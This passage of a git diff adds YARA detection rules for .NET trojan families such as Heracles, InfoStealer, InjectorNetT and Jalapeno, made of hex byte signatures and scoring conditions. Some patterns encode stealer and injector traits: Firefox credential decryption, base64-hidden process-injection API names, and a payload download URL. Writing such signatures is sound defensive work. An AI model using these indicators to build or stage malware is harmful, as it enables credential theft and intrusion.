Trojan_BAT_Heracles_ZLW_MTB{ + meta: + description = "Trojan:BAT/Heracles.ZLW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {06 16 06 8e 69 6f ?? 00 00 0a 0c de 47 07 2b d5 28 ?? 01 00 0a 2b d5 6f ?? 01 00 0a 2b d0 07 2b cf 28 ?? 01 00 0a 2b cf 6f ?? 01 00 0a 2b ca 07 2b cc 6f ?? 01 00 0a 2b c7 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZRQ_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZRQ_MTB.yar new file mode 100644 index 0000000000..ec06f27a82 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ZRQ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Heracles_ZRQ_MTB{ + meta: + description = "Trojan:BAT/Heracles.ZRQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {25 26 0b 20 0a 16 0a 00 28 ?? 00 00 06 28 ?? 00 00 0a 25 26 0c 28 ?? 00 00 0a 25 26 0d 00 09 07 6f ?? 00 00 0a 00 09 08 6f ?? 00 00 0a 00 09 1f 0c 28 ?? 00 00 06 6f ?? 00 00 0a 00 09 1f 10 28 ?? 00 00 06 6f ?? 00 00 0a 00 09 6f ?? 00 00 0a 13 04 00 11 04 06 1f 14 28 ?? 00 00 06 06 8e 69 6f ?? 00 00 0a 25 26 13 05 de 63 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Hesv/Trojan_BAT_Hesv_AHE_MTB.yar b/Trojan/BAT/Hesv/Trojan_BAT_Hesv_AHE_MTB.yar new file mode 100644 index 0000000000..fa967699ab --- /dev/null +++ b/Trojan/BAT/Hesv/Trojan_BAT_Hesv_AHE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Hesv_AHE_MTB{ + meta: + description = "Trojan:BAT/Hesv.AHE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {0b 16 0c 38 ?? 00 00 00 06 6f ?? 00 00 0a 08 a3 ?? 00 00 01 6f ?? 00 00 0a 18 40 ?? 00 00 00 07 16 06 6f ?? 00 00 0a 08 a3 ?? 00 00 01 6f ?? 00 00 0a a4 ?? 00 00 01 07 18 8f ?? 00 00 01 25 50 06 6f ?? 00 00 0a 08 a3 ?? 00 00 01 6f ?? 00 00 0a 72 ?? 13 00 70 28 ?? 00 00 0a 51 06 6f ?? 00 00 0a 08 a3 ?? 00 00 01 6f } //3 + $a_03_1 = {0a 16 0b 38 29 00 00 00 06 07 a3 ?? 00 00 01 0c 08 6f ?? 00 00 0a 39 12 00 00 00 08 6f ?? 00 00 0a 6f ?? 00 00 0a 10 00 38 0a 00 00 00 07 17 58 0b 07 06 8e 69 32 d1 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/InfoStealer/Trojan_BAT_InfoStealer_NITB_MTB.yar b/Trojan/BAT/InfoStealer/Trojan_BAT_InfoStealer_NITB_MTB.yar new file mode 100644 index 0000000000..b4130e6775 --- /dev/null +++ b/Trojan/BAT/InfoStealer/Trojan_BAT_InfoStealer_NITB_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_InfoStealer_NITB_MTB{ + meta: + description = "Trojan:BAT/InfoStealer.NITB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_03_0 = {00 00 72 c1 0e 00 70 28 ?? 00 00 0a 0a 16 0b 2b 21 06 07 9a 0c 00 00 08 6f 62 00 00 0a 00 08 6f 37 00 00 0a 00 00 de 05 0d 00 00 de 00 00 07 17 58 0b 07 06 8e 69 32 d9 } //2 + $a_01_1 = {44 6f 77 6e 6c 6f 61 64 41 6e 64 44 65 63 6f 64 65 46 69 6c 65 41 73 79 6e 63 } //1 DownloadAndDecodeFileAsync + $a_01_2 = {69 73 4f 70 65 72 61 47 58 6f 72 46 69 72 65 66 6f 78 } //1 isOperaGXorFirefox + $a_01_3 = {44 65 63 72 79 70 74 41 6e 64 57 72 69 74 65 46 69 72 65 66 6f 78 44 61 74 61 } //1 DecryptAndWriteFirefoxData + $a_01_4 = {4b 69 6c 6c 45 78 69 73 74 69 6e 67 54 6f 72 50 72 6f 63 65 73 73 65 73 } //1 KillExistingTorProcesses + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Injector/Trojan_BAT_Injector_AKQ_MTB.yar b/Trojan/BAT/Injector/Trojan_BAT_Injector_AKQ_MTB.yar new file mode 100644 index 0000000000..f098fa5fc7 --- /dev/null +++ b/Trojan/BAT/Injector/Trojan_BAT_Injector_AKQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Injector_AKQ_MTB{ + meta: + description = "Trojan:BAT/Injector.AKQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {11 05 28 2c 00 00 0a 13 08 11 06 28 2c 00 00 0a 13 09 11 07 11 08 11 09 28 12 00 00 06 13 0a 11 0a 28 2c 00 00 0a 13 0b 11 04 39 0f 00 00 00 72 65 02 00 70 80 01 00 00 04 38 0a 00 00 00 72 a5 02 00 70 80 01 00 00 04 73 01 00 00 06 13 0c 11 0c 7e 01 00 00 04 11 0b 6f 11 00 00 06 2a } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/InjectorNetT/Trojan_BAT_InjectorNetT_AAXA_MTB.yar b/Trojan/BAT/InjectorNetT/Trojan_BAT_InjectorNetT_AAXA_MTB.yar new file mode 100644 index 0000000000..a0c7b0c23a --- /dev/null +++ b/Trojan/BAT/InjectorNetT/Trojan_BAT_InjectorNetT_AAXA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_InjectorNetT_AAXA_MTB{ + meta: + description = "Trojan:BAT/InjectorNetT.AAXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 00 " + + strings : + $a_03_0 = {03 1f 3c 28 ?? 00 00 0a 13 08 03 11 08 1f 34 58 28 ?? 00 00 0a 13 09 20 b3 00 00 00 8d ?? 00 00 01 13 0a 16 13 0b 2b 0f 11 0a 11 0b 11 0b 06 61 9e 11 0b 17 58 13 0b 11 0b 11 0a 8e 69 32 e9 } //4 + $a_03_1 = {03 11 12 1f 0c 58 28 ?? 00 00 0a 13 16 03 11 12 1f 10 58 28 ?? 00 00 0a 13 17 03 11 12 1f 14 58 28 ?? 00 00 0a 13 18 11 17 2c 3e 11 17 8d ?? 00 00 01 13 19 03 11 18 11 19 16 11 19 8e 69 } //3 + $a_01_2 = {61 00 32 00 56 00 79 00 62 00 6d 00 56 00 73 00 4d 00 7a 00 49 00 3d 00 } //1 a2VybmVsMzI= + $a_01_3 = {56 00 6d 00 6c 00 79 00 64 00 48 00 56 00 68 00 62 00 45 00 46 00 73 00 62 00 47 00 39 00 6a 00 52 00 58 00 67 00 3d 00 } //1 VmlydHVhbEFsbG9jRXg= + $a_01_4 = {51 00 33 00 4a 00 6c 00 59 00 58 00 52 00 6c 00 55 00 48 00 4a 00 76 00 59 00 32 00 56 00 7a 00 63 00 30 00 45 00 3d 00 } //1 Q3JlYXRlUHJvY2Vzc0E= + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/InjectorNetT/Trojan_BAT_InjectorNetT_ADSA_MTB.yar b/Trojan/BAT/InjectorNetT/Trojan_BAT_InjectorNetT_ADSA_MTB.yar new file mode 100644 index 0000000000..1271795b6a --- /dev/null +++ b/Trojan/BAT/InjectorNetT/Trojan_BAT_InjectorNetT_ADSA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_InjectorNetT_ADSA_MTB{ + meta: + description = "Trojan:BAT/InjectorNetT.ADSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {72 94 07 00 70 38 77 00 00 00 38 7c 00 00 00 72 c6 07 00 70 38 78 00 00 00 38 7d 00 00 00 16 2d ee 38 7b 00 00 00 38 80 00 00 00 08 06 6f ?? ?? 00 0a 08 07 6f ?? ?? 00 0a 08 6f ?? ?? 00 0a 0d 2b 10 2b 11 16 2b 11 8e 69 6f ?? ?? 00 0a 13 04 de 26 09 2b ed 02 2b ec 02 2b ec } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/InjectorNetT/Trojan_BAT_Injectornett_PGN_MTB.yar b/Trojan/BAT/InjectorNetT/Trojan_BAT_Injectornett_PGN_MTB.yar new file mode 100644 index 0000000000..19f3022afc --- /dev/null +++ b/Trojan/BAT/InjectorNetT/Trojan_BAT_Injectornett_PGN_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Injectornett_PGN_MTB{ + meta: + description = "Trojan:BAT/Injectornett.PGN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_02_0 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 6e 00 65 00 77 00 2e 00 65 00 76 00 65 00 6e 00 74 00 61 00 77 00 61 00 72 00 64 00 73 00 72 00 75 00 73 00 73 00 69 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 [0-1f] 2e 00 64 00 61 00 74 00 } //5 + $a_02_1 = {68 74 00 74 00 70 73 3a 2f 2f 77 77 77 2e 6e 65 77 2e 65 76 65 6e 74 61 77 61 72 64 73 72 75 73 73 69 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f [0-1f] 2e 64 61 74 } //5 + $a_02_2 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 6e 00 65 00 77 00 2e 00 65 00 76 00 65 00 6e 00 74 00 61 00 77 00 61 00 72 00 64 00 73 00 72 00 75 00 73 00 73 00 69 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 [0-1f] 2e 00 76 00 64 00 66 00 } //5 + $a_02_3 = {68 74 00 74 00 70 73 3a 2f 2f 77 77 77 2e 6e 65 77 2e 65 76 65 6e 74 61 77 61 72 64 73 72 75 73 73 69 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f [0-1f] 2e 76 64 66 } //5 + condition: + ((#a_02_0 & 1)*5+(#a_02_1 & 1)*5+(#a_02_2 & 1)*5+(#a_02_3 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Injuke/Trojan_BAT_Injuke_APSA_MTB.yar b/Trojan/BAT/Injuke/Trojan_BAT_Injuke_APSA_MTB.yar new file mode 100644 index 0000000000..14bf4b2a5f --- /dev/null +++ b/Trojan/BAT/Injuke/Trojan_BAT_Injuke_APSA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Injuke_APSA_MTB{ + meta: + description = "Trojan:BAT/Injuke.APSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_01_0 = {07 11 06 09 11 06 91 06 11 06 91 61 d2 9c 11 06 17 58 13 06 11 06 09 8e 69 32 e5 } //5 + $a_01_1 = {11 04 08 59 02 8e 69 58 02 8e 69 5d 13 05 09 11 05 02 11 04 91 9c 11 04 17 58 13 04 11 04 02 8e 69 32 dd } //2 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AM_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AM_MTB.yar new file mode 100644 index 0000000000..3e0c20c084 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Jalapeno_AM_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {01 25 17 28 18 00 00 06 13 04 06 28 13 00 00 06 1f 0d 6a 59 13 05 07 06 11 04 11 05 09 6f } //2 + $a_01_1 = {73 65 72 76 65 72 31 } //1 server1 + $a_01_2 = {44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 } //1 DebuggableAttribute + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AN_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AN_MTB.yar new file mode 100644 index 0000000000..0c81ee87b2 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_AN_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 0d 28 5b 00 00 0a 09 6f 5c 00 00 0a 07 1f 7d 30 10 08 20 80 00 00 00 07 60 d2 6f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AQ_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AQ_MTB.yar new file mode 100644 index 0000000000..807b673dd6 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_AQ_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 0c 7e 89 00 00 04 02 4a 08 16 07 28 47 00 00 0a 03 08 04 73 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AT_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AT_MTB.yar new file mode 100644 index 0000000000..b967db0c11 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_AT_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 10 00 12 01 02 8e 69 28 10 02 00 0a 7d f8 03 00 04 12 01 02 8e 69 7d f7 03 00 04 02 16 07 7b f8 03 00 04 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AU_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AU_MTB.yar new file mode 100644 index 0000000000..c0cb51d9ec --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_AU_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {11 07 1f 0f 62 11 0a 75 cc 00 00 1b 11 0c 25 17 58 13 0c 93 11 05 61 60 13 07 1f 09 13 0e } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AVN_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AVN_MTB.yar new file mode 100644 index 0000000000..2bb152d877 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AVN_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Jalapeno_AVN_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AVN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {02 28 2a 00 00 0a 0a 28 2b 00 00 0a 06 6f 2c 00 00 0a 2a } //2 + $a_01_1 = {03 28 42 00 00 0a 0b 06 16 73 43 00 00 0a 0c 08 07 6f 44 00 00 0a 20 a0 86 01 00 28 45 00 00 0a de 1e } //2 + $a_01_2 = {02 6f 28 00 00 0a 0a 16 0b 2b 0d 06 07 06 07 93 1b 59 d1 9d 07 17 58 0b 07 06 8e 69 32 ed 06 73 29 00 00 0a 2a } //2 + $a_00_3 = {24 62 30 35 38 31 62 38 62 2d 37 34 33 64 2d 34 35 31 64 2d 38 65 38 33 2d 30 39 62 33 32 65 31 39 63 32 34 37 } //2 $b0581b8b-743d-451d-8e83-09b32e19c247 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_00_3 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AVXA_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AVXA_MTB.yar new file mode 100644 index 0000000000..55528e431a --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AVXA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Jalapeno_AVXA_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AVXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {73 0a 00 00 0a 0a 06 20 ?? ?? 00 00 28 ?? ?? 00 06 28 ?? 00 00 0a 20 ?? ?? 00 00 28 ?? ?? 00 06 28 ?? 00 00 0a 6f ?? 00 00 0a 0b 73 ?? 00 00 0a 0c 08 07 17 73 ?? 00 00 0a 0d 02 28 ?? 00 00 06 13 04 09 11 04 16 11 04 8e 69 6f ?? 00 00 0a 08 13 05 de 14 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AX_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AX_MTB.yar new file mode 100644 index 0000000000..2638a7567f --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_AX_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {0a 13 09 08 07 5a 8d ?? ?? 00 01 13 0a 02 09 11 05 07 5a 08 5a 6a 58 6f } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AYUA_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AYUA_MTB.yar new file mode 100644 index 0000000000..5ee87addfd --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AYUA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Jalapeno_AYUA_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AYUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {1b 16 02 14 72 ?? ?? 00 70 16 8d ?? 00 00 01 14 14 14 28 ?? 00 00 0a 28 ?? 00 00 0a 6f ?? ?? 00 0a 16 13 11 2b af 11 09 75 ?? 00 00 01 6f ?? ?? 00 0a 11 08 74 ?? 00 00 01 6f ?? ?? 00 0a 0d de 49 } //5 + $a_03_1 = {0a 11 04 74 ?? 00 00 01 20 80 00 00 00 6f ?? ?? 00 0a 1f 09 13 0d 2b 85 11 04 75 ?? 00 00 01 19 6f ?? ?? 00 0a 11 04 74 ?? 00 00 01 08 74 ?? 00 00 1b 6f ?? ?? 00 0a 1b 13 0d 38 ?? ff ff ff 11 04 74 ?? 00 00 01 08 74 ?? 00 00 1b 6f ?? ?? 00 0a 11 04 74 ?? 00 00 01 6f ?? ?? 00 0a 13 06 18 13 0d 38 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AY_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AY_MTB.yar new file mode 100644 index 0000000000..0bd164a147 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_AY_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 25 16 03 d2 9c 0b 02 07 28 0c 00 00 2b 28 0d 00 00 2b 0c 08 10 00 02 28 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AZ_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AZ_MTB.yar new file mode 100644 index 0000000000..7de95e8cdf --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_AZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_AZ_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.AZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0a 0b 1a 8d 06 00 00 01 0c 06 08 16 1a 6f 35 00 00 0a 1a 2e 06 73 54 00 00 0a 7a 06 16 73 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BAA_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BAA_MTB.yar new file mode 100644 index 0000000000..df6c1a8dfc --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BAA_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 04 06 11 05 94 58 08 11 05 94 58 20 00 01 00 00 5d 13 04 06 11 05 94 13 06 06 11 05 06 11 04 94 9e 06 11 04 11 06 9e 11 05 17 58 13 05 11 05 20 00 01 00 00 32 c9 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BAD_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BAD_MTB.yar new file mode 100644 index 0000000000..b8358ee8ff --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BAD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BAD_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {00 11 03 11 01 ?? ?? 00 00 0a 38 00 00 00 00 dd 1e 00 00 00 11 03 39 11 00 00 00 38 00 00 00 00 11 03 ?? ?? 00 00 0a 38 00 00 00 00 dc 38 00 00 00 00 11 01 ?? ?? 00 00 0a 13 04 38 2b 00 00 00 11 00 11 02 16 1a ?? ?? 00 00 0a 1a 3b 0b 00 00 00 38 00 00 00 00 73 1c 00 00 0a 7a 11 00 16 73 1d 00 00 0a 13 03 38 95 ff ff ff dd 41 00 00 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BA_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BA_MTB.yar new file mode 100644 index 0000000000..9b9070e78b --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BA_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 0d 08 09 16 09 8e 69 6f 7a 00 00 0a 26 07 09 6f 7b 00 00 0a 00 08 07 6f 7c 00 00 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BC_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BC_MTB.yar new file mode 100644 index 0000000000..0073c0f39f --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BC_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 2a 06 20 05 00 00 00 64 0a 02 06 20 8f 56 5b 65 60 0a 7b dd 01 00 04 b6 06 20 42 44 5f 72 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BD_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BD_MTB.yar new file mode 100644 index 0000000000..91cc232910 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BD_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {25 13 0a 28 8a 01 00 06 7e 94 00 00 0a 28 98 00 00 0a 13 0e 7e 6a 00 00 04 28 2b 01 00 06 0a 14 0b 14 0c 14 0d 7e 89 00 00 04 28 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BF_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BF_MTB.yar new file mode 100644 index 0000000000..8af1dfec0b --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BF_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 0d 08 09 16 09 8e 69 6f 23 00 00 0a 26 09 16 28 24 00 00 0a 13 04 08 16 73 25 00 00 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BG_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BG_MTB.yar new file mode 100644 index 0000000000..a36ec5aa46 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BG_MTB{ + meta: + description = 